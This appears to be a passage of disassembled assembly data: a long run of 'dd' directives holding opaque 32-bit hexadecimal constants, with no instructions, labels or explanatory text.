		dd 0C08990FCh, 4667D518h, 6F0035FBh, 4B3C7050h,	5A48A3h
		dd 734C7BB1h, 0E7811AB4h, 8A999E07h, 0F8B0CC20h, 7848FB3h
		dd 0A2E5348Dh, 68834024h, 0BD010B39h, 0BC6C18AEh, 35E8A8B5h
		dd 0C426011Ch, 0E09F8132h, 79C6601Eh, 679B6D00h, 8CD330B7h
		dd 35550007h, 0B0927FDh, 0ED00B662h, 8F6F76A4h,	44FE25h
		dd 0FDEE3AABh, 7A224171h, 62C5DA1Ch, 0E3FBD840h, 0AAC0E1h
		dd 25136A28h, 4E5135F8h, 4C5ECA00h, 84CFF0E5h, 0F2A30085h
		dd 18743F03h, 6601386Dh, 2EC5B361h, 0A2F8C962h,	58340097h
		dd 8382FAB1h, 0DC76A421h, 0B27AA00h, 0D09D5DB8h, 946C0E1Ah
		dd 0B9C0830Dh, 987D33BAh, 0C2EA2E00h, 0D60852F9h, 86B01FF7h
		dd 1E8E0013h, 0D1E5CD79h, 0E4EFCA00h, 7356DDD0h, 0E92E0055h
		dd 65F1C8F6h, 74EED876h, 6307ADF4h, 0EEBBAA38h,	0E2C63EE0h
		dd 0CEBC141Bh, 7E75C1BEh, 0A1D3010Eh, 49936169h, 0A3480E3h
		dd 0A730DD59h, 43BA0014h, 9C24FF81h, 0A80097CEh, 0BE3B7DEFh
		dd 7259DD84h, 528C0167h, 0DF389B74h, 0E4036049h, 5B3AE103h
		dd 906D508Ah, 7B7FDAh, 6B37DE14h, 926CB319h, 0C7051807h
		dd 8E2363C2h, 94B9C833h, 83810038h, 3C2DCA08h, 773FB5EDh
		dd 0E960001Bh, 464E5D5Ah, 1F5300A4h, 0D48D80C5h, 0D100DFCEh
		dd 0AAD7A7F8h, 0FCA8A382h, 7A2E6EFh, 8F71ECBAh,	6314B018h
		dd 8E0015F8h, 1986C17Bh, 0EAA034Ah, 786B5BEFh, 1300F20Eh
		dd 0D399D85Dh, 0AC023100h, 0C0275F4Ah, 6BAE00BEh, 0A98F0159h
		dd 6024125Eh, 4000DCF1h, 8E8A1343h, 7E350074h, 0D450275Ah
		dd 7A1DFE6Bh, 807B293Ch, 0C83B8666h, 195ABEh, 571B7178h
		dd 59B85FA6h, 7F01F279h, 4E356D95h, 0B3F84066h,	4F191C55h
		dd 0B6A699h, 87CED21Ah,	0C405700Ah, 0B038EDF8h,	0BCDF53C0h
		dd 0DECCF9FAh, 0A1E00028h, 785CFB80h, 0B400BDA6h, 6499CB22h
		dd 53585Eh, 0FBB1AA84h,	7CAB7BCAh, 0A707F6F4h, 0EA301228h
		dd 0E89E8503h, 1F2C7467h, 0C3E347C4h, 0E9A19291h, 66200780h
		dd 80E7123Ah, 9B6A3CBBh, 4D2755h, 0B52FD40Eh, 8D335A86h
		dd 0C7C64Ch, 12F78A24h,	0F8F04C84h, 0B8A600BEh,	8BDDA2EAh
		dd 2F00B0E3h, 1D29C894h, 90E70D03h, 15F7029Eh, 8CBE2567h
		dd 175E9E0h, 691B5Ch, 0F3407BB3h, 7370E7h, 82BCC9E5h, 3B97933Eh
		dd 0CE00C3F4h, 76DE560Dh, 7A489F52h, 47C80719h,	713C6DCCh
		dd 0C34F181Fh, 0AAC0B7E3h, 8C00A975h, 116F1D57h, 1BC3BEh
		dd 3AB5A08Bh, 0E0D31CFh, 20016E00h, 7C58C26Bh, 5C8C013Eh
		dd 30D460EDh, 1C2DF414h, 0F9E4881Fh, 0CF2E81C0h, 7C46D83h
		dd 4785F4E3h, 652B1073h, 7600FCA7h, 7AD4E577h, 1F69D8AAh
		dd 0C0D1343Fh, 0BB17A6DDh, 0B82647A3h, 64007F88h, 44F5EDA9h
		dd 3A7D2429h, 0D1D01D3h, 60532EE5h, 1200D5D6h, 9D1C064Eh
		dd 0EA6647DCh, 22383BADh, 530D9380h, 0D9979816h, 0F1006E7Bh
		dd 0A389B35Ch, 0DB42E0h, 70EB8096h, 50FA9522h, 0B374BE07h
		dd 2F0F7F18h, 0F87CA0FDh, 395798ACh, 0A880D052h, 591ECE3Fh
		dd 8D38D85Fh, 0F7C800ABh, 0D29D9A44h, 0B3420093h, 0A43A3F16h
		dd 0BB3B6FC5h, 60FB00C0h, 536EFCDBh, 0B00700CDh, 6C97B3F6h
		dd 0F00EFE32h, 0E00ABC66h, 0F4D8ABCBh, 58953DAFh, 7A1A8783h
		dd 39A0DD8Dh, 29033417h, 32E682FBh, 2B5EF09Eh, 0C2B60078h
		dd 73B8F971h
		dd 0E100A50Fh, 0C7A865Fh, 0A12909h, 0E8BC4B2Dh,	0A69E9F0Ah
		dd 0F5E58A00h, 0DE3165BBh, 6C250030h, 108C29EAh, 0AB0099B9h
		dd 0C3FCA690h, 0B65AD6h, 0D8CBA218h, 9B5EA128h,	851E1400h
		dd 7B5B044Ch, 7705036Ch, 68F31547h, 0E818C398h,	0E307B000h
		dd 0C066E483h, 0ECE90089h, 0DC3281CDh, 0A53E53BFh, 8C7C006Ch
		dd 30080754h, 0FE38070Ah, 5073ABBEh, 4CBD5C1Dh,	7048B100h
		dd 0E69343DEh, 2CD0E27Bh, 75F806Ch, 1E459E0h, 0DFA00B7Dh
		dd 0FC5158C0h, 0ED00D9B0h, 7797FEFDh, 0D114Dh, 0C5F92E9Ch
		dd 2C3603D7h, 4863E00Eh, 3EDAA0F4h, 7D3086h, 784E07C3h
		dd 0DEBE4C02h, 0D0DC4700h, 21F756E0h, 0D7A00098h, 294F8F76h
		dd 4D070649h, 0EB232E20h, 0B834DE10h, 8B360039h, 6EFFD8B9h
		dd 4778DB99h, 23005B73h, 0F261BA5Ch, 1518E2Ch, 0D1CAC2Fh
		dd 0E0D5EF3Ah, 0D8E94782h, 7F034356h, 3B6BDAA7h, 96BBF086h
		dd 2A600FFh, 0E02BCF68h, 0D93C4C92h, 0D6AE8E06h, 3D872667h
		dd 0D72DCh, 65A44E46h, 808FCC9Bh, 7F96ED00h, 1FD4C3AAh
		dd 717239h, 33B8756h, 0E15817F5h, 802B3300h, 43C6C59Eh
		dd 0E7B60049h, 2F6778FDh, 0A44E932Eh, 3C487700h, 62753Fh
		dd 5F2D3438h, 5D95ED25h, 0BE633738h, 81F0080h, 42564721h
		dd 0B4D4007Fh, 0FF119854h, 0A50224F5h, 3A500145h, 0B326E0B9h
		dd 73D5005Ch, 97D87E1Ah, 8007B0A4h, 313F6129h, 60471910h
		dd 1D3D7A13h, 8074715Ah, 7DCF5965h, 0DF01F79Bh,	7B7C1C6Ch
		dd 53F44973h, 0D6DC00D1h, 0DBA3ECFFh, 37003FC5h, 5BA7177Fh
		dd 723DF5h, 829BDCFCh, 340CE4ABh, 0B13C4D60h, 0D8460Dh
		dd 4AD93A72h, 66619940h, 0B5A1C700h, 1FB7B016h,	6E70F4h
		dd 0ED2E0FB2h, 29651284h, 89A6C100h, 301D74BBh,	795A0060h
		dd 0CCC01582h, 260EB019h, 4042F216h, 20453DCEh,	0FC20029h
		dd 9BB71BC7h, 0D6FE3C49h, 0E9611403h, 1A044BCh,	410FA384h
		dd 0E8CEDBEBh, 0BD007D20h, 939E16ECh, 24F379h, 382EBEB4h
		dd 37E34D90h, 0C8F5D50Ch, 0FF696E4h, 0D861CB59h, 44D69400h
		dd 4D009A49h, 74C34064h, 349E4Ch, 6983E750h, 0E268E5EAh
		dd 70B85B27h, 13A40085h, 6F1B1037h, 890080F4h, 8D0AC90Bh
		dd 0F06C3E46h, 0A9813E08h, 0F1D0380h, 0DF6A8F6Bh, 0CF17400h
		dd 11494A4Fh, 57541F4Ch, 3FE68048h, 0EC04405Bh,	0EDC40D00h
		dd 0EE5FFD83h, 670300A5h, 1537B0EFh, 0A600EAB3h, 8EDA1A82h
		dd 0D8B22Eh, 0D3D911B4h, 1FE7A7E4h, 5658EA00h, 0ED6C4932h
		dd 661B0C5Bh, 0DB9EF7EFh, 30F0D300h, 8B4464E3h,	228100D6h
		dd 0B29977BFh, 0AF01EC4Ah, 230ECF02h, 82D85B84h, 8B460F17h
		dd 77276641h, 0EB00DE9Ch, 57A75321h, 0E1B12800h, 0C1DDB55Bh
		dd 298700ABh, 38BA88BBh, 0F5006720h, 2722B8FAh,	0F8D4AE9Fh
		dd 8E4300DDh, 0CB6BE12Dh, 0D60077FFh, 44BF767Ah, 70E79F81h
		dd 0A7F7017Ch, 0F106053Ch, 0D1CCF8C0h, 99C640B5h, 0D55002Fh
		dd 86FA6351h, 471C0706h, 0B24FD05Fh, 0EFF020BFh, 0DE280Dh
		dd 3459EBBAh, 0C87A5123h, 0E3007EFCh, 888E1AAAh, 3EF480CBh
		dd 8D9DC6EEh, 97FD8007h, 4D282964h, 6E007AE4h, 9143BA3Ah
		dd 0EE3409h, 0BE5B54F7h, 58470F2Dh, 0E3FA5900h,	179E8810h
		dd 76A076C7h, 0A6AE3FB8h, 161BA180h, 0CDD87C9Dh, 77BA4700h
		dd 686D8050h, 413D5CD3h, 2B0CFF00h, 953AB9C4h, 42DD7C03h
		dd 0E8242316h, 0B5B7934Dh, 66E50E0h, 0BD584C1Dh, 45DF0079h
		dd 6D3E5EDEh, 518700DBh, 6098A7A3h, 8F7CF8E2h, 5BFD9703h
		dd 0C3C94ED9h, 0C87B9B08h, 4CD3B3h, 70E67F64h, 0D60A4287h
		dd 9801A900h, 1A69E08Fh, 0BB1C00CCh, 5185C6E3h,	5509DF5Ch
		dd 0CEF9521h, 0E6B354D6h, 1EEBFE11h, 0E912F97h,	96421Bh
		dd 8AFA7DD7h, 0D60E1150h, 801A716Fh, 0FDEB8996h, 68D2018Eh
		dd 86A92AB4h, 75E7E84Eh, 900BEE0h, 482ED71h, 35B436Fh
		dd 0F273C3D2h, 8DBC5C7h, 0EEE26EC8h, 62F0850Fh,	45AFE381h
		dd 0CB48D0D9h, 3A63000Dh, 0D4ECB8F2h, 790F7CABh, 8782226Bh
		dd 74909D10h, 39607152h, 6F00B815h, 4C5E16A5h, 1F005556h
		dd 63E82DA4h, 0F845EEC9h, 2A770091h, 123BBAE9h,	0D51D014Bh
		dd 89C0DED7h, 0A9EC14FDh, 0C61D0027h, 0B0F115B1h, 131D7F57h
		dd 8A80F550h, 0DA9E0291h, 0FBE6002Eh, 765358C8h, 0C67E1F43h
		dd 0A416E906h, 0B84A50h, 85A55B10h, 0CB650790h,	9253182Eh
		dd 6251FE00h, 3D027D88h, 1DF0CCEEh, 0C0E1B0ECh,	0A712361Bh
		dd 660082ACh, 7414F18Eh, 55E829h, 170E53C2h, 3E8D6760h
		dd 0E9A12101h, 59FBB4A2h, 0F703CC5h, 6980004Bh,	5DC39F37h
		dd 96007014h, 1B203F62h, 0C78508h, 9DACA467h, 0B25D5F60h
		dd 0CC03E0E2h, 0FA2DEDDDh, 7BF2C846h, 0A0FF901Ch, 3FF32A05h
		dd 3380CEE5h, 36D950BCh, 0F2C27E45h, 60E0F82Bh,	0FC5EB5h
		dd 0C6BE72Eh, 0B7D9FB4Eh, 38F3DA00h, 39BF5B15h,	1D7AB0E3h
		dd 801CF1D4h, 0A18C75CFh, 500F7BCh, 9EF42FDFh, 0F3DE60h
		dd 1115C60Bh, 52A7BDCFh, 5DF00703h, 0F0FAA29Dh,	0FB66F35h
		dd 3249709Ah, 23C06D63h, 0C1E5F990h, 2C694C00h,	921FBCA8h
		dd 0C75D4h, 14C8E293h, 0B1B4EACEh, 9E5CD90Fh, 0F6EB6791h
		dd 0C4095160h, 0AB3A3870h, 4FB3E300h, 0CD2D2F68h, 0E7BDC505h
		dd 77C027EBh, 11BA835h,	0F47F0C5Ch, 706A46F2h, 9077C20Eh
		dd 0E8A6B00h, 49986548h, 55C40067h, 5AA73924h, 6600F145h
		dd 3FB7BE33h, 8125C9h, 9A0EC79Bh, 54FD17D6h, 0C0B24100h
		dd 99F5CD77h, 4549006Bh, 844DE21Dh, 830703E1h, 0ECA396A8h
		dd 0D2816E60h, 0BFE005Bh, 760F75A2h, 1000E9Ch, 64CE8C79h
		dd 0E5EBFEBh, 0ECBEB267h, 0D57742A1h, 7B63D894h, 0A8A7E300h
		dd 599BD631h, 8B7E00F0h, 1D55809Fh, 0FE0034A2h,	4125A65Dh
		dd 4CF28h, 6E8DCCBAh, 80A03EDBh, 0B627A500h, 8ED0E4B8h
		dd 31B0030Bh, 93C0AD9Eh, 0E151A9F0h, 9A156A30h,	702564Eh
		dd 94DBD6B0h, 51167052h, 0FF00A6BFh, 0A8CC4AEAh, 0F6140ADh
		dd 580EACBDh, 44B542C0h, 4900220Bh, 7A15A92Fh, 12D75A69h
		dd 0ECAB2968h, 0BC077B7Ch, 0DCDEA18Eh, 0FC603D40h, 777E031Dh
		dd 30A2E6D9h, 36EDCAB8h, 0F0D8CB05h, 8DC0D2F7h,	58BB90h
		dd 0DF4577E3h, 5955C803h, 0E72A403h, 0E04A376Eh, 0A2E349h
		dd 34C6AA53h, 0AE4233EDh, 4700727Eh, 118CD901h,	7C7525Ah
		dd 883E255Fh, 960EA04Eh, 830037DAh, 6D1CF09Eh, 0F72F94h
		dd 3DC1052Eh, 4363FABEh, 0F9007178h, 3352885Ah,	3B153ED7h
		dd 0BB3A131Ch, 813A3007h, 6BD5A0ECh, 2300DE7Ch,	0AB5A58DDh
		dd 3EA51134h, 68B84147h, 9CDA007Eh, 346F8E6h, 0C90EA61Ch
		dd 7D7CF417h, 51B9700h,	3257F13h, 0A6308350h, 0E9001DE3h
		dd 0DFC421E0h, 134777AFh, 0BE081Ah, 73C72C09h, 9800E3EDh
		dd 1E3776B8h, 0FBFEA3h,	0D3A89235h, 189B6F70h, 0DA3A3B00h
		dd 9C2C0F73h, 0BB6A0009h, 6CB7E64Eh, 9E485557h,	79E7006Fh
		dd 0B5892EE8h, 5E853BBBh, 0DABDB180h, 935B88C0h, 4069D200h
		dd 0F477F61Ch, 0F1E200DBh, 13BAC3BDh, 75F43608h, 0FFC83000h
		dd 0A8AE8D39h, 14BB0024h, 4451525Eh, 0A6B8A7D6h, 0CBF4C100h
		dd 0F1FD7716h, 9E0B1EABh, 5B82405Dh, 0A1029C18h, 19749800h
		dd 7D29F3C2h, 271A07B4h, 0C0F22FB0h, 157896C6h,	0D50ED300h
		dd 82984ABh, 0F80F30ECh, 0C579DAEEh, 78B74Ch, 0DF527EE8h
		dd 0D7388Dh, 9B13CDD9h
		dd 0D4CC70C0h, 0CE000D7Ah, 32BB8AC4h, 341BCC6h,	2295A3D6h
		dd 0A8D08454h, 5700084Dh, 503AA9EFh, 0EAF4716Ah, 24D1E6DFh
		dd 0E15AF7h, 2223C3EDh,	0AA009896h, 9066502Ch, 1235A05Fh
		dd 40891Ah, 8BC6D66Ch, 0B9005725h, 22BEE451h, 0F63C02FBh
		dd 0ABC006Dh, 1FFE9A8Eh, 0C9005513h, 1A28F329h,	0F1AB2Fh
		dd 1943546Dh, 79FB3709h, 66C84700h, 0AF1FE131h,	713F7012h
		dd 455300D3h, 70F08859h, 0A800E6E3h, 0F501C9F7h, 1F1B19B3h
		dd 0C1BDD9B7h, 0EE964912h, 0A46BF074h, 0D84E7800h, 0E5D06C5Eh
		dd 0AD2A0E99h, 3633D09h, 89D05354h, 0C600B7F7h,	597DCCB0h
		dd 0CA2DA7h, 0F0C1774Bh, 96BEE002h, 0B873C900h,	1416DAACh
		dd 867F072Ch, 0AFD124FFh, 6CCF0460h, 81070289h,	5DF0644h
		dd 4A6A61A0h, 0ECC500F1h, 55E33BADh, 660009D5h,	750A0792h
		dd 700F5642h, 0F9480E4Fh, 8D80DB3Dh, 46BDB87Ch,	26BA3800h
		dd 93A0B566h, 28E9897h,	0F2E84315h, 3CC1DBE7h, 7F44D420h
		dd 0D678FA07h, 0AEA061ACh, 0B125D1h, 2852C202h,	0A53A4C4Eh
		dd 3E221D01h, 0EEB94F34h, 0ECAD5DCh, 0EF25E76Ah, 15EAD20h
		dd 512C8E22h, 0F800035Ah, 0C3F7E8AAh, 21FADFh, 0D7A92739h
		dd 31D0CB9Ch, 5F93A600h, 59F50589h, 783A7574h, 79DE00C6h
		dd 0C0E80990h, 1EA070Bh, 0EA0061EEh, 4E554B98h,	74BD773Eh
		dd 16D700F3h, 9D58FD29h, 0F5008FBAh, 0D0868848h, 0EEFEE67h
		dd 2943827Fh, 426F98E0h, 0EC00AB10h, 4E64B4A7h,	380C8034h
		dd 770FA014h, 21C25A39h, 8A805316h, 83E87FCh, 9280561Fh
		dd 3A94E840h, 7888267h,	0C7594B09h, 3E45B024h, 0DE0786C8h
		dd 74332B12h, 3885F8F0h, 0CB4F0001h, 0F2DC7AE2h, 0D9002308h
		dd 2D4B279Ch, 2BDB97Ch,	68F7EAEFh, 0E0C12F90h, 39E6C8B4h
		dd 613A5C00h, 0C4DE1E2h, 2A81CA3h, 87F04094h, 1D5B8C93h
		dd 910100BDh, 0EAE059h,	0D87B1266h, 0C465D546h,	4F51CF01h
		dd 1B9B2FEDh, 12AD4F8h,	58A9F499h, 308DF557h, 6A009857h
		dd 7E6F667Ch, 7C1B522h,	0CB8075ADh, 67E9405Fh, 88007F9Eh
		dd 2EBEBDE4h, 1D6AF0B4h, 0FDE25BDDh, 0F6145300h, 9E3E4838h
		dd 9B1CE800h, 0A6C3FFFAh, 90F4EBh, 4E09A432h, 81B65570h
		dd 64172600h, 74CFC39Ah, 51D4F316h, 970100D8h, 33C1A37Fh
		dd 0FE016C3Eh, 1A8F67FAh, 77F58C43h, 104920h, 6178DAFDh
		dd 0F503A07Bh, 0FBC6CF00h, 131C209h, 9B4600DCh,	235E6E11h
		dd 8B00C1ACh, 0BA594014h, 0DE7434h, 0A5A1D7F7h,	471722F0h
		dd 54248C00h, 0C49E4F9h, 0CABA003Fh, 4B4AB811h,	0AC0FF7D5h
		dd 40F110CCh, 35F98826h, 7B41F4E1h, 6B27000Ch, 0BB44FDF5h
		dd 0B8003D15h, 3583195Ch, 8A75D4h, 7DA5553Ah, 6AE64389h
		dd 0F9D66603h, 0D8BB2AE2h, 0B557C4h, 53F258F1h,	18BCC38Fh
		dd 0E801E970h, 148AD8F6h, 4CF894CBh, 0BB2803AEh, 0FE75CAEFh
		dd 0A33BE2D0h, 809DE13Fh, 15124A1Eh, 63A5EDh, 77B4E924h
		dd 34DC04FFh, 9A254B00h, 1079C388h, 5BE002Ch, 68867118h
		dd 0BA1C699Fh, 6240C1F2h, 0E82FC8B7h, 0DF7B0092h, 536169Ch
		dd 7A0055CEh, 9B07ABB5h, 7BD53FE5h, 1595004Ah, 1238EE0Ah
		dd 9C3C3D9Fh, 14037FF1h, 0FBF0224Ch, 0E17E062h,	873400BFh
		dd 0DD81F32Eh, 71002D05h, 0D57B9E18h, 0D77F7Ch,	66A629BBh
		dd 5AEFF20Eh, 0A1CFF000h, 5445B455h, 4DC90092h,	6427028Dh
		dd 580029DFh, 0F8DA7372h, 0DCDB7Dh, 101C3F62h, 0AD880BDDh
		dd 5131B203h, 0E8771D1Bh, 0D2EDF7h, 13A11E8Eh, 9AEA7CB3h
		dd 7AD04B00h, 0C9866610h, 0A2B91F26h, 9EA38928h, 0EA3E9880h
		dd 0E0006FBCh, 0AEEBF572h, 0FDB029h, 0C634255Dh, 6D685C42h
		dd 0D188BB03h, 0D8127EB9h, 7AAA24h, 290970A6h, 4F98BA2Eh
		dd 66BD5C00h, 8ADD1EA7h, 0ABFC0FD4h, 4500FAB6h,	2449D80Dh
		dd 0BDB20700h, 50EE2793h, 0B63B0079h, 0E634F5E5h, 31011E42h
		dd 3C815FC1h, 88D8A67Dh, 4B53006Ah, 477FD014h, 500FD516h
		dd 4EEFBE64h, 0E6003EEEh, 57FDFE56h, 9EF6F0h, 2783FB05h
		dd 2BAF3AFh, 43FA5A07h,	0AE0348Eh, 0F2BF6EBh, 0BA7860Fh
		dd 2FF83860h, 0BB0046B3h, 3DB5749Dh, 97794C4h, 2656B7A6h
		dd 7C81B001h, 0B464D070h, 0E70EA400h, 71746EAEh, 157207DFh
		dd 0A00D0F1Dh, 96639921h, 0C1F75607h, 0F630ED2Eh, 6042A1h
		dd 594C87C2h, 12BBD583h, 0A0322700h, 4025622Eh,	50410033h
		dd 4D601ED8h, 0E47598C4h, 0B00096B8h, 39EE1745h, 29A4C8h
		dd 0CE6BEC1Eh, 7732DD7Ch, 0E8305207h, 47806E43h, 3FEAA11h
		dd 533D64EDh, 0DC00E0F0h, 8699D3B0h, 3A746A26h,	16975BC9h
		dd 6DE9DEh, 30FB195Dh, 33A356h,	35851D4Ch, 0A893E3B5h
		dd 3CD48803h, 0B9C073A1h, 78C4CD64h, 19D20022h,	0D5DE5DEFh
		dd 8100300Ch, 2A21D983h, 1761201h, 884F9B1Eh, 0C866B22Eh
		dd 0D8007F32h, 33149D48h, 0D309ACh, 0CA64E46Bh,	0F150212Eh
		dd 762B1A00h, 0CD2242DEh, 7EC400F3h, 1C7C2F98h,	0F1EB3B5h
		dd 9F802E95h, 0E5703B9Dh, 0E1880F43h, 3EE0F7FEh, 4160B647h
		dd 1FA6B409h, 16E5CEAh,	64773017h, 0BF1F200Ch, 0EB07ABEAh
		dd 0D487FA93h, 0EE650780h, 42D203AAh, 0B8A88FE2h, 0D1A23D90h
		dd 7BDFE800h, 8BB1393Ah, 147A0062h, 6723815Bh, 9B3A9AF7h
		dd 3B56071Ah, 44D07843h, 3A4AF394h, 0D006573h, 0A2CCC695h
		dd 0A63A3827h, 0FB48008Ch, 0F14B75Fh, 3E50349h,	0EC047A1Eh
		dd 254058B0h, 16C72D01h, 0E2F8FFC6h, 2BCDECh, 0A1F13BCEh
		dd 5144EF0h, 0A50B8400h, 705528BDh, 0AEDEA037h,	5C0EFE98h
		dd 3D1DCBF1h, 22148363h, 59989952h, 0B8261B05h,	7800BA45h
		dd 0D7803D8Ah, 0E3C0004Eh, 0FE5B22BBh, 66004633h, 4F47D5Ch
		dd 3BEB84ACh, 704219h, 2A76F562h, 4989875Fh, 0A7E97D00h
		dd 586AF47h, 0A81200A5h, 5556D0C3h, 480030EAh, 0CAEDBFD5h
		dd 937471h, 7962F24Bh, 0D6F93CB5h, 8041507h, 0E09FBB87h
		dd 65C03EFDh, 7EF7A033h, 60313CB0h, 4E505289h, 0F94F8400h
		dd 0B4001193h, 0E482B606h, 80D846h, 0A5CBAD7Fh,	863CF776h
		dd 274D9B1Eh, 0F5E4EC00h, 3F51217Bh, 4B1EA7BFh,	0AB778074h
		dd 3BCB049h, 0E006C9Ah,	33341048h, 0E830E208h, 0CD1500C7h
		dd 3ADD13F5h, 6C038FD0h, 0D31D2FACh, 52E48059h,	0BC5700A7h
		dd 2304880h, 0BD006EA4h, 1B5C8EA1h, 77CCF23h, 9357D699h
		dd 9C008971h, 3AC8865Bh, 173CB09h, 99878040h, 0F8605CC0h
		dd 0E4B30077h, 0F33A91E2h, 0DCE7336Bh, 641EC642h, 688E3699h
		dd 0FF4F0077h, 378A57Ch, 3823EE1h, 0EF80B751h, 0A10EB319h
		dd 8096AACFh, 28E89838h, 1A110054h, 7447674Dh, 72004699h
		dd 0FC662236h, 283212C1h, 0F8A70Ch, 3C53E93Dh, 0D7688F60h
		dd 0C79B4C00h, 0DA929845h, 9F5C03B2h, 7F73666Dh, 2CA774F0h
		dd 23F64800h, 6C0B977Dh, 2FD90043h, 67507BC6h, 0EE01C1E1h
		dd 27CF8D05h, 0EE404404h, 6A5E5Fh, 2B086DACh, 203579ABh
		dd 6205C50Fh, 0A4922002h, 7C4D50Fh, 744983BBh, 3DA190CFh
		dd 933AA759h, 0EDCC0017h, 7B09179h, 358800F3h, 7C19ECF5h
		dd 3A000CC1h, 0B1E450BBh, 0DD69C5h, 994254F0h, 26FA92FCh
		dd 7F031800h, 0E5F84908h, 0D60900E4h, 5EB4E77Dh, 907EE922h
		dd 0F7A8B603h, 0E01F2EEBh, 30C52h, 58D37E1h, 866E358Ah
		dd 0F7509E00h, 0CCA6C61Ch, 771100E4h, 0E68AB26h, 92004047h
		dd 4507607Ah, 3929C793h
		dd 44804D72h, 7B1D26BAh, 77EC35B7h, 65B2CF1Dh, 36D4D700h
		dd 0E5A1C6h, 3131E4Fh, 0B1277544h, 0A39E9203h, 814CF80Dh
		dd 0D09E45E1h, 6530C04Eh, 62B154B5h, 3A9A6900h,	2BA3ED04h
		dd 56FE019Bh, 0CE0C205Eh, 0F830D1A6h, 0B37BE262h, 0F3BE721Ch
		dd 4D076800h, 49A0F4h, 0A92469A4h, 0E00C22B6h, 9AEEDB00h
		dd 0B398848Ch, 6A5B0077h, 0E1D7521Fh, 4D00AAC7h, 0D2582A51h
		dd 0E7F691h, 0B7ADA1EAh, 0A5C02D2Ch, 6F7B5500h,	0D46AD70Ah
		dd 7C9302A3h, 2F5F16AAh, 9BDD6B40h, 4DF17A06h, 12CAA0h
		dd 3A8451F9h, 0E7FA4C08h, 0C7453F00h, 0DF629AE1h, 0AC2D00EAh
		dd 6CAB112h, 39132776h,	4D00C9ABh, 1191E0Ah, 8CA32694h
		dd 11B300AEh, 3BC72C07h, 0A4378700h, 0CC6C1539h, 124407FDh
		dd 94ADBB64h, 0D6188065h, 1A01C37Fh, 0E03A1B9Ah, 5ADC3624h
		dd 54B700BDh, 7D8C98CCh, 0FF001FC7h, 682FE125h,	4AB059h
		dd 1C582CE2h, 0D4F2AFB1h, 66F6000h, 5DC98436h, 14650D59h
		dd 0F0A65483h, 9A0066BBh, 0E577BCB4h, 29B3CAh, 3EDED8C6h
		dd 1B5E3F4Ch, 32D47203h, 0D8F3E533h, 44911F9h, 54B6CD82h
		dd 8C5BC0E8h, 0C100CF2Bh, 2D0FDC8Fh, 726895Fh, 0C609226Ch
		dd 7D9F906Ah, 1600BB81h, 0A055E0D2h, 98986B1Dh,	0A3F283h
		dd 0DC121EBCh, 66C4609h, 9137C600h, 5F619856h, 5DB70938h
		dd 0D00AD14h, 40EB88C4h, 0CE1C38h, 0FEDA48Eh, 7E60D8B4h
		dd 3B0E0018h, 0FB72FF36h, 0AA009A2Ch, 86F5BC04h, 261D22F9h
		dd 477C40h, 0C39C08Eh, 6300DC6Ah, 51121C61h, 1E7385ADh
		dd 0AC805E8Fh, 5C270E0Bh, 98171100h, 8300F906h,	26B57CDh
		dd 88724Eh, 843BA26Ah, 0C054535h, 7A426800h, 9E32A3F5h
		dd 10C10981h, 0E840D161h, 0A11F22AEh, 0DD8007CBh, 56292357h
		dd 0C4FA06h, 0B9FD7101h, 4ACB10F2h, 96B5AE07h, 0B000EFE5h
		dd 5894B427h, 7700DC41h, 45B1E050h, 6008CABh, 2F186A61h
		dd 78957872h, 7AB30091h, 0CC6557EBh, 8100B9C0h,	782F0A0h
		dd 8B92EAh, 13B16CF2h, 0B3A91E31h, 0D25D5000h, 0B42EC348h
		dd 81490096h, 0E43B5E90h, 0F77D3392h, 36469E03h, 0C01E2F7Dh
		dd 421814Ah, 0A6B537BFh, 267380B2h, 9E00945Eh, 0E744EBB1h
		dd 2C4F10B3h, 9990BAh, 7A8F3EC1h, 640002EDh, 0ACCF4995h
		dd 3DBBBD9h, 0DCCEE8BAh, 0D4B8F1C3h, 9016552Eh,	0C3000AA6h
		dd 0A30EAF31h, 9FFF0003h, 27585DFAh, 0A400885Ah, 13356B9Ah
		dd 0E8EF6FC2h, 4AA00004h, 0A89D3C5h, 0E5009CBDh, 66CCC8ACh
		dd 2ABBAAh, 53223E4Bh, 0BA634AF6h, 0B8F6500h, 3677F77Ah
		dd 31C1C73h, 0C1DC0BCh,	0D38DCBB2h, 14A3FF07h, 0B7E0952Fh
		dd 0C470C7h, 531B91F9h,	9F983378h, 65A98D00h, 6BFBB24Ah
		dd 0B3BF0069h, 0CE2FEF0Eh, 430F323Ch, 809250C7h, 0E6F73EF2h
		dd 80B20019h, 0F5C29AAh, 68136A3Fh, 0C34073DCh,	9A323961h
		dd 8F8B0035h, 7D80B717h, 86007F94h, 9F4C6EEAh, 79127Eh
		dd 0A2624BF3h, 990B0EF0h, 0DD256000h, 0A79D65FBh, 0B2843E09h
		dd 0AF295F00h, 8A3D5AA0h, 0AAE5900h, 38DE93BAh,	9D6A0056h
		dd 0C472EA50h, 0E500343Ah, 65FAC14Ah, 0FEF6CB9h, 0F28FBFF5h
		dd 0D368EA60h, 9D02626Eh, 0F95CB8ECh, 60826015h, 48853EACh
		dd 51E96900h, 0BA126D2Eh, 900E1670h, 20FF5AC6h,	17DB0928h
		dd 0CC9800C4h, 0A15C3A77h, 0AF00376Ah, 0C7CA6956h, 24397Fh
		dd 849FE844h, 0DBAC309Ah, 99026160h, 3C1896AEh,	0D0807901h
		dd 4BCB3426h, 5600C7E7h, 42B87F8h, 0F2812h, 0B848F55Dh
		dd 4E197BA5h, 697FDD0Fh, 8DF3203Bh, 0F84406Eh, 70284715h
		dd 0EF0D3E40h, 83BA36Fh, 7FFC0057h, 0E5BD683Fh,	0CB1F179Ch
		dd 75D60087h, 80F1209Bh, 0BF44B900h, 0A82750B1h, 0CF5C3F12h
		dd 7A61A500h, 68303596h, 0C73FF500h, 0FE2B4E9Ah, 6FB00010h
		dd 5C799046h, 0FB0050DEh, 7C01E3A6h, 3CBBE517h,	1280F251h
		dd 0F1B7B35Fh, 0E0E49B6Eh, 5C38EF00h, 0C9C04D49h, 0CE14013Eh
		dd 8682E640h, 5377ECC6h, 0F3EC8D00h, 44AE51EEh,	87680003h
		dd 599F7FB4h, 22007088h, 6C062391h, 383B83Dh, 722B69D8h
		dd 81986873h, 0A001DE0h, 3A3BFD17h, 0AC4435h, 58DADB8Fh
		dd 96B91A31h, 0C1E42500h, 79C30D6Ah, 371D020Ah,	668F84E3h
		dd 0E4469F80h, 87000EE9h, 5201651Fh, 0BBF1E5Bh,	0A40CE002h
		dd 6F0020D0h, 0E159E414h, 2AE217h, 0B2FE3E33h, 0CCDC4F03h
